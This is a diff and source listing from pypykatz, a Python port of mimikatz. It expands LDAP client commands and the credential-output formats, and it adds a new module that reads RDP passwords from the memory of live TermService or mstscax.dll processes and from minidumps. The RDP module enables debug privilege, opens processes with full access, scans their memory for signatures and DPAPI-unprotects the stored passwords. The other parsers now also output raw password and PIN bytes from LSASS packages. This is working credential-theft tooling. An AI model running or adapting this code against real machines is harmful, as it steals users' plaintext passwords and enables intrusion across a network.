8 import argparse
9 import logging
810
911 """
1012 LDAP is not part of pypykatz directly.
2729 self.keywords = ['ldap']
2830
2931 def add_args(self, parser, live_parser):
30 group = parser.add_parser('ldap', help='LDAP client. Use "help" instead of "-h" to get the available subcommands')
31 group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
32 group.add_argument('url', help="LDAP connection string")
33 group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
32 ldap_group = parser.add_parser('ldap', help='LDAP related commands')
33 ldap_subparsers = ldap_group.add_subparsers()
34 ldap_subparsers.required = True
35 ldap_subparsers.dest = 'ldap_module'
3436
35 live_group = live_parser.add_parser('ldap', help='LDAP (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=msldap_epilog)
36 live_group.add_argument('--host', help= 'Specify a custom logon server.')
37 live_group.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login')
38 live_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
39 live_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
37 ldap_client_group = ldap_subparsers.add_parser('client', help='LDAP client. Use "help" instead of "-h" to get the available subcommands')
38 ldap_client_group.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
39 ldap_client_group.add_argument('url', help="LDAP connection string")
40 ldap_client_group.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
41
42
43 live_subcommand_parser = argparse.ArgumentParser(add_help=False)
44 live_ldap_subparsers = live_subcommand_parser.add_subparsers(help = 'LIVE LDAP commands work under the current user context.')
45 live_ldap_subparsers.required = True
46 live_ldap_subparsers.dest = 'liveldapcommand'
47
48 live_client_parser = live_ldap_subparsers.add_parser('client', help='LDAP (live) client. Use "help" instead of "-h" to get the available subcommands', epilog=msldap_epilog)
49 live_client_parser.add_argument('--host', help= 'Specify a custom logon server.')
50 live_client_parser.add_argument('--authmethod', choices=['ntlm', 'kerberos'], default = 'ntlm', help= 'Authentication method to use during login')
51 live_client_parser.add_argument('-v', '--verbose', action='count', default=0, help='Verbosity, can be stacked')
52 live_client_parser.add_argument('commands', nargs='*', help="!OPTIONAL! Takes a series of commands which will be executed until error encountered. If the command is 'i' is encountered during execution it drops back to interactive shell.")
53
54 live_group = live_parser.add_parser('ldap', help='LDAP (live) commands', parents=[live_subcommand_parser])
55
4056
4157 def execute(self, args):
4258 if args.command in self.keywords:
4763
4864
4965 def run_live(self, args):
66 from msldap import logger as ldaplogger
5067 from msldap.examples.msldapclient import amain
5168 from winacl.functions.highlevel import get_logon_info
5269 info = get_logon_info()
5572 if args.host is not None:
5673 logonserver = args.host
5774
58 la = LDAPCMDArgs()
59 la.url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver)
60 la.verbose = args.verbose
75 ldap_url = 'ldap+sspi-%s://%s\\%s@%s' % (args.authmethod, info['domain'], info['username'], logonserver)
6176
62 if args.verbose > 1:
63 print('Using the following auto-generated URL: %s' % la.url)
64 if args.commands is not None and len(args.commands) > 0:
65 la.commands = []
66 if args.commands[0] == 'help':
67 la.commands = ['help']
68 else:
69 if args.commands[0] != 'login':
70 la.commands.append('login')
71
72 for command in args.commands:
73 la.commands.append(command)
77 if args.verbose == 0:
78 ldaplogger.setLevel(100)
79 elif args.verbose == 1:
80 print('Using the following auto-generated URL: %s' % ldap_url)
81 ldaplogger.setLevel(level=logging.INFO)
82 else:
83 level = 5 - args.verbose
84 ldaplogger.setLevel(level=level)
7485
75 asyncio.run(amain(la))
86 if args.liveldapcommand == 'client':
87 la = LDAPCMDArgs()
88 la.url = ldap_url
89 la.verbose = args.verbose
90
91 if args.commands is not None and len(args.commands) > 0:
92 la.commands = []
93 if args.commands[0] == 'help':
94 la.commands = ['help']
95 else:
96 if args.commands[0] != 'login':
97 la.commands.append('login')
98
99 for command in args.commands:
100 la.commands.append(command)
101
102 asyncio.run(amain(la))
103
76104
77105 def run(self, args):
78106 from msldap.examples.msldapclient import amain
79 la = LDAPCMDArgs()
80 la.url = args.url
81 la.verbose = args.verbose
82 if args.commands is not None and len(args.commands) > 0:
83 la.commands = []
84 if args.commands[0] == 'help':
85 la.commands = ['help']
86 else:
87 if args.commands[0] != 'login':
88 la.commands.append('login')
89
90 for command in args.commands:
91 la.commands.append(command)
92107
93 asyncio.run(amain(la))
108 if args.ldap_module == 'client':
109 la = LDAPCMDArgs()
110 la.url = args.url
111 la.verbose = args.verbose
112 if args.commands is not None and len(args.commands) > 0:
113 la.commands = []
114 if args.commands[0] == 'help':
115 la.commands = ['help']
116 else:
117 if args.commands[0] != 'login':
118 la.commands.append('login')
119
120 for command in args.commands:
121 la.commands.append(command)
122
123 asyncio.run(amain(la))
8888 print(json.dumps(results, cls = UniversalEncoder, indent=4, sort_keys=True))
8989
9090 elif args.grep:
91 print(':'.join(LogonSession.grep_header))
91 if hasattr(args, 'directory') and args.directory is not None:
92 print(':'.join(['filename'] + LogonSession.grep_header))
93 else:
94 print(':'.join(LogonSession.grep_header))
9295 for result in results:
9396 for luid in results[result].logon_sessions:
9497 for row in results[result].logon_sessions[luid].to_grep_rows():
98 if hasattr(args, 'directory') and args.directory is not None:
99 row = [result] + row
95100 print(':'.join(row))
96101 for cred in results[result].orphaned_creds:
97102 t = cred.to_dict()
98103 if t['credtype'] != 'dpapi':
99104 if t['password'] is not None:
100105 x = [str(t['credtype']), str(t['domainname']), str(t['username']), '', '', '', '', '', str(t['password'])]
106 if hasattr(args, 'directory') and args.directory is not None:
107 x = [result] + x
101108 print(':'.join(x))
102109 else:
103110 t = cred.to_dict()
104111 x = [str(t['credtype']), '', '', '', '', '', str(t['masterkey']), str(t['sha1_masterkey']), str(t['key_guid']), '']
112 if hasattr(args, 'directory') and args.directory is not None:
113 x = [result] + x
105114 print(':'.join(x))
106115
107116 for pkg, err in results[result].errors:
108117 err_str = str(err) +'\r\n' + '\r\n'.join(traceback.format_tb(err.__traceback__))
109118 err_str = base64.b64encode(err_str.encode()).decode()
110119 x = [pkg+'_exception_please_report', '', '', '', '', '', '', '', '', err_str]
120 if hasattr(args, 'directory') and args.directory is not None:
121 x = [result] + x
111122 print(':'.join(x) + '\r\n')
112123 else:
113124 for result in results:
116116 if temp and len(temp) > 0:
117117 if bytes_expected == False:
118118 try: # normal password
119 dec_password = temp.decode('ascii')
119 dec_password = temp.decode('utf-16-le')
120120 except: # machine password
121121 try:
122122 dec_password = temp.decode('utf-8')
123123 except:
124124 try:
125 dec_password = temp.decode('utf-16-le')
125 dec_password = temp.decode('ascii')
126126 except:
127127 dec_password = temp.hex()
128128 else: # if not machine password, then check if we should trim it
131131 else:
132132 dec_password = temp
133133
134 return dec_password
134 return dec_password, temp
135135
136136 def walk_avl(self, node_ptr, result_ptr_list):
137137 """
5656 cache = cloudap_entry.cacheEntry.read(self.reader)
5757 cred.cachedir = cache.toname.decode('utf-16-le').replace('\x00','')
5858 if cache.cbPRT != 0 and cache.PRT.value != 0:
59 temp = self.decrypt_password(cache.PRT.read_raw(self.reader, cache.cbPRT), bytes_expected=True)
59 temp, raw_dec = self.decrypt_password(cache.PRT.read_raw(self.reader, cache.cbPRT), bytes_expected=True)
6060 try:
6161 temp = temp.decode()
6262 except:
6868 unk = cache.toDetermine.read(self.reader)
6969 if unk is not None:
7070 cred.key_guid = unk.guid.value
71 cred.dpapi_key = self.decrypt_password(unk.unk)
71 cred.dpapi_key, raw_dec = self.decrypt_password(unk.unk, bytes_expected = True)
7272 cred.dpapi_key_sha1 = hashlib.sha1(bytes.fromhex(cred.dpapi_key)).hexdigest()
7373
7474 if cred.PRT is None and cred.key_guid is None:
5151 def add_entry(self, dpapi_entry):
5252
5353 if dpapi_entry and dpapi_entry.keySize > 0: #and dpapi_entry.keySize % 8 == 0:
54 dec_masterkey = self.decrypt_password(dpapi_entry.key, bytes_expected = True)
54 dec_masterkey, raw_dec = self.decrypt_password(dpapi_entry.key, bytes_expected = True)
5555 sha_masterkey = hashlib.sha1(dec_masterkey).hexdigest()
5656
5757 c = DpapiCredential()
1717 self.credtype = 'kerberos'
1818 self.username = None
1919 self.password = None
20 self.password_raw = None
2021 self.domainname = None
2122 self.luid = None
2223 self.tickets = []
2324 self.pin = None
25 self.pin_raw = None
2426 self.cardinfo = None
2527
2628 def __str__(self):
2931 t += '\t\tDomain: %s\n' % self.domainname
3032 if self.password is not None:
3133 t += '\t\tPassword: %s\n' % self.password
34 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3235 if self.pin is not None:
3336 t += '\t\tPIN: %s\n' % self.pin
37 t += '\t\tPIN (hex): %s\n' % self.pin_raw.hex()
3438 if self.cardinfo is not None:
3539 t += '\t\tCARDINFO: \n'
3640 t += '\t\t\tCardName: %s\n' % self.cardinfo['CardName']
5155 t['credtype'] = self.credtype
5256 t['username'] = self.username
5357 t['password'] = self.password
58 t['password_raw'] = self.password_raw
5459 t['domainname'] = self.domainname
5560 t['luid'] = self.luid
5661 t['pin'] = self.pin
62 t['pin_raw'] = self.pin_raw
5763 t['cardinfo'] = self.cardinfo
5864 t['tickets'] = []
5965 for ticket in self.tickets:
123129 self.current_cred.username = kerberos_logon_session.credentials.UserName.read_string(self.reader)
124130 self.current_cred.domainname = kerberos_logon_session.credentials.Domaine.read_string(self.reader)
125131 if self.current_cred.username.endswith('$') is True:
126 self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True)
132 self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader), bytes_expected=True)
127133 if self.current_cred.password is not None:
128134 self.current_cred.password = self.current_cred.password.hex()
129135 else:
130 self.current_cred.password = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader))
136 self.current_cred.password, self.current_cred.password_raw = self.decrypt_password(kerberos_logon_session.credentials.Password.read_maxdata(self.reader))
131137
132138 if kerberos_logon_session.SmartcardInfos.value != 0:
133139 csp_info = kerberos_logon_session.SmartcardInfos.read(self.reader, override_finaltype = self.decryptor_template.csp_info_struct)
134140 pin_enc = csp_info.PinCode.read_maxdata(self.reader)
135 self.current_cred.pin = self.decrypt_password(pin_enc)
141 self.current_cred.pin, self.current_cred.pin_raw = self.decrypt_password(pin_enc)
136142 if csp_info.CspDataLength != 0:
137143 self.current_cred.cardinfo = csp_info.CspData.get_infos()
138144
146152 ### GOOD
147153 #keydata_enc = key.generic.Checksump.read_raw(self.reader, key.generic.Size)
148154 #print(keydata_enc)
149 #keydata = self.decrypt_password(keydata_enc, bytes_expected=True)
155 #keydata, raw_dec = self.decrypt_password(keydata_enc, bytes_expected=True)
150156 #print(keydata_enc.hex())
151157 #input('KEY?')
152158
1212 self.username = None
1313 self.domainname = None
1414 self.password = None
15 self.password_raw = None
1516 self.luid = None
1617
1718 def to_dict(self):
2021 t['username'] = self.username
2122 t['domainname'] = self.domainname
2223 t['password'] = self.password
24 t['password_raw'] = self.password_raw
2325 t['luid'] = self.luid
2426 return t
2527 def to_json(self):
3032 t += '\tusername %s\n' % self.username
3133 t += '\tdomainname %s\n' % self.domainname
3234 t += '\tpassword %s\n' % self.password
35 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3336 return t
3437
3538 class LiveSspDecryptor(PackageDecryptor):
5558 if suppCreds.credentials.Password.Length != 0:
5659 enc_data = suppCreds.credentials.Password.read_maxdata(self.reader)
5760 if c.username.endswith('$') is True:
58 c.password = self.decrypt_password(enc_data, bytes_expected=True)
61 c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
5962 if c.password is not None:
6063 c.password = c.password.hex()
6164 else:
62 c.password = self.decrypt_password(enc_data)
65 c.password, c.password_raw = self.decrypt_password(enc_data)
6366
6467 self.credentials.append(c)
6568
5252 self.luid = None
5353 self.username = None
5454 self.password = None
55 self.password_raw = None
5556 self.domainname = None
5657
5758 def to_dict(self):
6061 t['username'] = self.username
6162 t['domainname'] = self.domainname
6263 t['password'] = self.password
64 t['password_raw'] = self.password_raw
6365 t['luid'] = self.luid
6466 return t
6567
7274 t += '\t\tusername %s\n' % self.username
7375 t += '\t\tdomain %s\n' % self.domainname
7476 t += '\t\tpassword %s\n' % self.password
77 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
7578 return t
7679
7780
331334 if credman_credential_entry.cbEncPassword and credman_credential_entry.cbEncPassword != 0:
332335 enc_data = credman_credential_entry.encPassword.read_raw(self.reader, credman_credential_entry.cbEncPassword)
333336 if c.username.endswith('$') is True:
334 c.password = self.decrypt_password(enc_data, bytes_expected=True)
337 c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
335338 if c.password is not None:
336339 c.password = c.password.hex()
337340 else:
338 c.password = self.decrypt_password(enc_data)
341 c.password, c.password_raw = self.decrypt_password(enc_data)
339342
340343 c.luid = self.current_logonsession.luid
341344
351354
352355 self.log('Encrypted credential data \n%s' % hexdump(encrypted_credential_data))
353356 self.log('Decrypting credential structure')
354 dec_data = self.decrypt_password(encrypted_credential_data, bytes_expected = True)
357 dec_data, raw_dec = self.decrypt_password(encrypted_credential_data, bytes_expected = True)
355358 self.log('%s: \n%s' % (self.decryptor_template.decrypted_credential_struct.__name__, hexdump(dec_data)))
356359
357360 struct_reader = GenericReader(dec_data, self.sysinfo.architecture)
1313 self.username = None
1414 self.domainname = None
1515 self.password = None
16 self.password_raw = None
1617 self.luid = None
1718
1819 def to_dict(self):
2122 t['username'] = self.username
2223 t['domainname'] = self.domainname
2324 t['password'] = self.password
25 t['password_raw'] = self.password_raw
2426 t['luid'] = self.luid
2527 return t
2628
3234 t += '\t\tusername %s\n' % self.username
3335 t += '\t\tdomainname %s\n' % self.domainname
3436 t += '\t\tpassword %s\n' % self.password
37 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3538 return t
3639
3740 class SspDecryptor(PackageDecryptor):
5356 c.domainname = ssp_entry.credentials.UserName.read_string(self.reader)
5457 if ssp_entry.credentials.Password.Length != 0:
5558 if c.username.endswith('$') is True or c.domainname.endswith('$') is True:
56 c.password = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader), bytes_expected=True)
59 c.password, c.password_raw = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader), bytes_expected=True)
5760 if c.password is not None:
5861 c.password = c.password.hex()
5962 else:
60 c.password = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader))
63 c.password, c.password_raw = self.decrypt_password(ssp_entry.credentials.Password.read_data(self.reader))
6164
6265 if c.username == '' and c.domainname == '' and c.password is None:
6366 return
1515 self.username = None
1616 self.domainname = None
1717 self.password = None
18 self.password_raw = None
1819 self.luid = None
1920
2021 def to_dict(self):
2324 t['username'] = self.username
2425 t['domainname'] = self.domainname
2526 t['password'] = self.password
27 t['password_raw'] = self.password_raw
2628 t['luid'] = self.luid
2729 return t
30
2831 def to_json(self):
2932 return json.dumps(self.to_dict())
3033
3336 t += '\t\tusername %s\n' % self.username
3437 t += '\t\tdomainname %s\n' % self.domainname
3538 t += '\t\tpassword %s\n' % self.password
39 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3640 return t
3741
3842 class TspkgDecryptor(PackageDecryptor):
8185 if primary_credential.credentials.Password.Length != 0:
8286 enc_data = primary_credential.credentials.Password.read_maxdata(self.reader)
8387 if c.username.endswith('$') is True:
84 c.password = self.decrypt_password(enc_data, bytes_expected=True)
88 c.password, c.password_raw = self.decrypt_password(enc_data, bytes_expected=True)
8589 if c.password is not None:
8690 c.password = c.password.hex()
8791 else:
88 c.password = self.decrypt_password(enc_data)
92 c.password, c.password_raw = self.decrypt_password(enc_data)
8993
9094 self.credentials.append(c)
1414 self.username = None
1515 self.domainname = None
1616 self.password = None
17 self.password_raw = None
1718 self.luid = None
1819
1920 def to_dict(self):
2223 t['username'] = self.username
2324 t['domainname'] = self.domainname
2425 t['password'] = self.password
26 t['password_raw'] = self.password_raw
2527 t['luid'] = self.luid
2628 return t
2729 def to_json(self):
3234 t += '\t\tusername %s\n' % self.username
3335 t += '\t\tdomainname %s\n' % self.domainname
3436 t += '\t\tpassword %s\n' % self.password
37 t += '\t\tpassword (hex)%s\n' % self.password_raw.hex()
3538 return t
3639
3740 class WdigestDecryptor(PackageDecryptor):
6467 wc.domainname = DomainName.read_string(self.reader)
6568 wc.encrypted_password = Password.read_maxdata(self.reader)
6669 if wc.username.endswith('$') is True:
67 wc.password = self.decrypt_password(wc.encrypted_password, bytes_expected=True)
70 wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password, bytes_expected=True)
6871 if wc.password is not None:
6972 wc.password = wc.password.hex()
7073 else:
71 wc.password = self.decrypt_password(wc.encrypted_password)
74 wc.password, wc.password_raw = self.decrypt_password(wc.encrypted_password)
7275
7376 if wc.username == '' and wc.domainname == '' and wc.password is None:
7477 return
121121 print('[-] Failed to parse lsass via handle %s[@%s] Reason: %s' % (pid, lsass_handle, e))
122122
123123 @staticmethod
124 def go_live_phandle(lsass_process_handle, packages = ['all']):
124 def go_live_phandle(process_handle, packages = ['all']):
125125 if platform.system() != 'Windows':
126126 raise Exception('Live parsing will only work on Windows')
127127 from pypykatz.commons.readers.local.live_reader import LiveReader
128 reader = LiveReader(lsass_process_handle=lsass_process_handle)
128 reader = LiveReader(process_handle=process_handle)
129129 sysinfo = KatzSystemInfo.from_live_reader(reader)
130130 mimi = pypykatz(reader.get_buffered_reader(), sysinfo)
131131 mimi.start(packages)
382382 self.get_ssp()
383383 except Exception as e:
384384 self.errors.append(('ssp', e))
385
386 if 'dpapi' in packages or 'all' in packages:
387 try:
388 self.get_dpapi()
389 except Exception as e:
390 self.errors.append(('dpapi', e))
391
392 if 'cloudap' in packages or 'all' in packages:
393 try:
394 self.get_cloudap()
395 except Exception as e:
396 self.errors.append(('cloudap', e))
385397
386398 if 'livessp' in packages or 'all' in packages:
387399 try:
389401 except Exception as e:
390402 self.errors.append(('livessp', e))
391403
392 if 'dpapi' in packages or 'all' in packages:
393 try:
394 self.get_dpapi()
395 except Exception as e:
396 self.errors.append(('dpapi', e))
397
398 if 'cloudap' in packages or 'all' in packages:
399 try:
400 self.get_cloudap()
401 except Exception as e:
402 self.errors.append(('cloudap', e))
403
404
405
(New empty file)
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 import os
7 import json
8 import glob
9 import ntpath
10 import traceback
11 import base64
12
13 from pypykatz import logging
14 from pypykatz.commons.common import UniversalEncoder
15 from pypykatz.rdp.parser import RDPCredParser
16
17
18
19 class RDPCMDHelper:
20 def __init__(self):
21 self.live_keywords = ['rdp']
22 self.keywords = ['rdp']
23
24 def add_args(self, parser, live_parser):
25 live_group = live_parser.add_parser('rdp', help='a')
26 live_group.add_argument('--pid', type=int, help = 'Search a specific process PID for RDP creds')
27 live_group.add_argument('--all', action='store_true', help = 'Looks for all processes which use the rdp DLL')
28
29 group = parser.add_parser('rdp', help='Parse RDP ceredentials from minidump file. Only WINVER <= Win2012')
30 group.add_argument('cmd', choices=['minidump'])
31 group.add_argument('memoryfile', help='path to the dump file')
32
33 def execute(self, args):
34 if len(self.keywords) > 0 and args.command in self.keywords:
35 self.run(args)
36
37 if len(self.live_keywords) > 0 and args.command == 'live' and args.module in self.live_keywords:
38 self.run_live(args)
39
40 def run_live(self, args):
41 credparsers = RDPCredParser.go_live(pid = args.pid, all_rdp = args.all)
42 for credparser in credparsers:
43 for cred in credparser.credentials:
44 print(str(cred))
45
46 def run(self, args):
47 credparsers = RDPCredParser.parse_minidump_file(args.memoryfile)
48 for credparser in credparsers:
49 for cred in credparser.credentials:
50 print(str(cred))
0 import json
1 import hashlib
2
3 from pypykatz import logger
4 from pypykatz.commons.common import hexdump
5 from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild
6
7
8 class RDPCredential:
9 def __init__(self):
10 self.credtype = 'rdp'
11 self.domainname = None
12 self.username = None
13 self.password = None
14 self.password_raw = None
15
16
17 def to_dict(self):
18 t = {}
19 t['credtype'] = self.credtype
20 t['domainname'] = self.cachedir
21 t['username'] = self.PRT
22 t['password'] = self.key_guid
23 t['password_raw'] = self.dpapi_key
24 return t
25
26 def to_json(self):
27 return json.dumps(self.to_dict())
28
29 def __str__(self):
30 t = '\t== RDP Credential ==\n'
31 t += '\t\tdomainname %s\n' % self.domainname
32 t += '\t\tusername %s\n' % self.username
33 t += '\t\tpassword %s\n' % self.password
34 t += '\t\tpassword_raw %s\n' % self.password_raw.hex()
35 return t
36
37 class RDPCredentialDecryptor:
38 def __init__(self, process, reader, decryptor_template, sysinfo):
39 self.process = process
40 self.reader = reader
41 self.sysinfo = sysinfo
42 self.decryptor_template = decryptor_template
43 self.credentials = []
44
45 def add_entry(self, rdpcred_entry):
46 try:
47 if rdpcred_entry.cbDomain <= 512 and rdpcred_entry.cbUsername <= 512 and rdpcred_entry.cbPassword <= 512 and rdpcred_entry.cbPassword > 0:
48 domainame = rdpcred_entry.Domain[:rdpcred_entry.cbDomain].decode('utf-16-le')
49 username = rdpcred_entry.UserName[:rdpcred_entry.cbUsername].decode('utf-16-le')
50 password_raw = rdpcred_entry.Password[:rdpcred_entry.cbPassword]
51
52 if self.sysinfo.buildnumber >= WindowsMinBuild.WIN_10.value:
53 if self.process is None:
54 raise Exception ('Credentials found but they are encrypted!')
55
56 password_raw = self.process.dpapi_memory_unprotect(rdpcred_entry.Password_addr, rdpcred_entry.cbPassword, 0)
57 password = password_raw.decode('utf-16-le')
58 else:
59 password = password_raw.decode('utf-16-le')
60 password_raw = password_raw.split(b'\x00\x00')[0] + b'\x00'
61
62 cred = RDPCredential()
63 cred.domainname = domainame
64 cred.username = username
65 cred.password = password
66 cred.password_raw = password_raw
67 self.credentials.append(cred)
68
69 else:
70 logger.debug('This RDPCred entry is garbage!')
71 except Exception as e:
72 logger.debug('RDP entry parsing error! Reason %s' % e)
73
74
75 def start(self):
76 for signature in self.decryptor_template.signatures:
77 x = self.reader.find_all_global(signature)
78 if len(x) == 0:
79 logger.debug('No RDP credentials found!')
80 return
81 for addr in x:
82 addr += self.decryptor_template.offset
83 self.reader.move(addr)
84 #print(hexdump(self.reader.peek(0x100)))
85 try:
86 cred = self.decryptor_template.cred_struct(self.reader)
87 except Exception as e:
88 logger.debug('Reading error! (this can be normal here) %s' % str(e))
89 continue
90 self.add_entry(cred)
0
1 from pypykatz.commons.common import KatzSystemArchitecture, WindowsBuild, WindowsMinBuild
2 from pypykatz.commons.win_datatypes import POINTER, ULONG, \
3 KIWI_GENERIC_PRIMARY_CREDENTIAL, PVOID, DWORD, LUID, \
4 LSA_UNICODE_STRING, WORD
5 from pypykatz.commons.common import hexdump
6
7 class RDPCredsTemplate:
8 def __init__(self):
9 self.signature = None
10 self.cred_struct = None
11
12 @staticmethod
13 def get_template(sysinfo):
14 template = RDPCredsTemplate()
15
16 if sysinfo.buildnumber >= WindowsBuild.WIN_8.value:
17 template.signatures = [b'\x00\x00\x00\x00\xbb\x47', b'\x00\x00\x00\x00\xf3\x47', b'\x00\x00\x00\x00\x3b\x01']
18 template.offset = 0
19 template.cred_struct = WTS_KIWI
20
21 else:
22 template.signatures = [b'\xc8\x00\x00\x00\xc8\x00\x00\x00']
23 template.offset = 16
24 template.cred_struct = WTS_KIWI_2008R2
25
26
27 return template
28
29
30 class WTS_KIWI:
31 def __init__(self, reader):
32 self.unk0 = DWORD(reader)
33 self.unk1 = DWORD(reader)
34 self.cbDomain = WORD(reader).value
35 self.cbUsername = WORD(reader).value
36 self.cbPassword = WORD(reader).value
37 self.unk2 = DWORD(reader)
38 self.Domain = reader.read(512)
39 self.UserName = reader.read(512)
40 self.Password_addr = reader.tell()
41 self.Password = reader.read(512)
42
43 class WTS_KIWI_2008R2:
44 def __init__(self, reader):
45 self.unk0 = DWORD(reader)
46 self.unk0 = DWORD(reader)
47 self.cbDomain = WORD(reader).value + 511 #making it compatible with the pother version. this is probably a bool?)
48 self.cbUsername = WORD(reader).value + 511
49 self.cbPassword = WORD(reader).value + 511
50 self.unk2 = DWORD(reader)
51 self.Domain = reader.read(512)
52 self.UserName = reader.read(512)
53 self.Password_addr = reader.tell()
54 self.Password = reader.read(512)
0
1 import platform
2 from pypykatz import logger
3 from minidump.minidumpfile import MinidumpFile
4 from pypykatz.commons.common import KatzSystemInfo
5 from pypykatz.rdp.packages.creds.templates import RDPCredsTemplate
6 from pypykatz.rdp.packages.creds.decryptor import RDPCredentialDecryptor
7
8 class RDPCredParser:
9 def __init__(self, process, reader, sysinfo):
10 self.process = process
11 self.reader = reader
12 self.sysinfo = sysinfo
13 self.credentials = []
14
15 @staticmethod
16 def go_live(pid = None, all_rdp = False):
17 if platform.system() != 'Windows':
18 raise Exception('Live parsing will only work on Windows')
19 from pypykatz.commons.readers.local.common.live_reader_ctypes import OpenProcess, PROCESS_ALL_ACCESS
20 from pypykatz.commons.winapi.machine import LiveMachine
21 from pypykatz.commons.winapi.constants import PROCESS_VM_READ , PROCESS_VM_WRITE , PROCESS_VM_OPERATION , PROCESS_QUERY_INFORMATION , PROCESS_CREATE_THREAD
22 from pypykatz.commons.readers.local.common.privileges import enable_debug_privilege
23 from pypykatz.commons.readers.local.live_reader import LiveReader
24 from pypykatz.commons.readers.local.process import Process
25 req_access_rights = PROCESS_VM_READ | PROCESS_VM_WRITE | PROCESS_VM_OPERATION | PROCESS_QUERY_INFORMATION | PROCESS_CREATE_THREAD
26
27 enable_debug_privilege()
28 targets = []
29
30 if pid is not None:
31 process = Process(pid=pid, access = req_access_rights )
32 process.list_modules()
33 reader = LiveReader(process_handle=process.phandle)
34 sysinfo = KatzSystemInfo.from_live_reader(reader)
35 targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo))
36
37 else:
38 machine = LiveMachine()
39 for service_name, display_name, pid in machine.list_services():
40 if service_name == 'TermService':
41 process = Process(pid=pid, access = req_access_rights )
42 reader = LiveReader(process_handle=process.phandle)
43 sysinfo = KatzSystemInfo.from_live_reader(reader)
44 targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo))
45
46
47 if all_rdp is True:
48 for pid in machine.list_all_pids():
49 try:
50 process = Process(pid=pid, access = req_access_rights )
51 for module in process.list_modules():
52 if module.name.lower().find("mstscax.dll") != -1:
53 reader = LiveReader(process_handle=process.phandle)
54 sysinfo = KatzSystemInfo.from_live_reader(reader)
55 targets.append(RDPCredParser(process, reader.get_buffered_reader(), sysinfo))
56 break
57 except Exception as e:
58 #import traceback
59 #traceback.print_exc()
60 print(e)
61
62 for target in targets:
63 target.start()
64 return targets
65
66
67 @staticmethod
68 def parse_minidump_file(filename, chunksize = 10*1024):
69 try:
70 minidump = MinidumpFile.parse(filename)
71 reader = minidump.get_reader().get_buffered_reader(segment_chunk_size=chunksize)
72 sysinfo = KatzSystemInfo.from_minidump(minidump)
73 except Exception as e:
74 logger.exception('Minidump parsing error!')
75 raise e
76 try:
77 mimi = RDPCredParser(None, reader, sysinfo)
78 mimi.start()
79 except Exception as e:
80 logger.info('Credentials parsing error!')
81 raise e
82 return [mimi]
83
84 def rdpcreds(self):
85 decryptor_template = RDPCredsTemplate.get_template(self.sysinfo)
86 decryptor = RDPCredentialDecryptor(self.process, self.reader, decryptor_template, self.sysinfo)
87 decryptor.start()
88
89 for cred in decryptor.credentials:
90 self.credentials.append(cred)
91
92
93 def start(self):
94 self.rdpcreds()
4040 await self.sam.get_secrets()
4141
4242 if self.security_hive:
43 self.security = SECURITY(self.security_hive, bootkey)
43 self.security = SECURITY(self.security_hive, bootkey, self.system)
4444 await self.security.get_secrets()
4545
4646 if self.software_hive:
4848 await self.software.get_default_logon()
4949
5050 def to_file(self, file_path, json_format = False):
51 with open(file_path, 'w', newline = '') as f:
51 with open(file_path, 'a', newline = '') as f:
5252 if json_format == False:
5353 f.write(str(self))
5454 else:
7878 pass
7979
8080 def to_file(self, file_path, json_format = False):
81 with open(file_path, 'w', newline = '') as f:
81 with open(file_path, 'a', newline = '') as f:
8282 if json_format == False:
8383 f.write(str(self))
8484 else:
4040 self.sam.get_secrets()
4141
4242 if self.security_hive:
43 self.security = SECURITY(self.security_hive, bootkey)
43 self.security = SECURITY(self.security_hive, bootkey, self.system)
4444 self.security.get_secrets()
4545
4646 if self.software_hive:
5757 pass
5858
5959 def to_file(self, file_path, json_format = False):
60 with open(file_path, 'w', newline = '') as f:
60 with open(file_path, 'a', newline = '') as f:
6161 if json_format == False:
6262 f.write(str(self))
6363 else:
0 #!/usr/bin/env python3
1 #
2 # Author:
3 # Tamas Jos (@skelsec)
4 #
5
6 from pypykatz.crypto.MD4 import MD4
7 from pypykatz.dpapi.structures.system import DPAPI_SYSTEM
8 from pypykatz.commons.common import hexdump
9
10 #
11 # These classes used to "standardise" the different secrets that can be obtained from the SECURITY hive
12 # The so-called LSA secrets can be of any format, therefore if the parser doesnt find an appropriate class for the secret
13 # it will store the decrypted secret in raw bytes
14 #
15 #
16
17 class LSASecret:
18 def __init__(self,key_name, raw_secret, history = False):
19 self.raw_secret = raw_secret
20 self.key_name = key_name
21 self.history = history
22
23 @staticmethod
24 async def process(key_name, raw_secret, history = False, system_hive = None):
25 kn = key_name.upper()
26 if len(raw_secret) == 0:
27 return
28 if raw_secret.startswith(b'\x00\x00'):
29 return
30
31 if kn.startswith('_SC_'):
32 lss = LSASecretService(kn, raw_secret, history, system_hive)
33 await lss.process_secret()
34
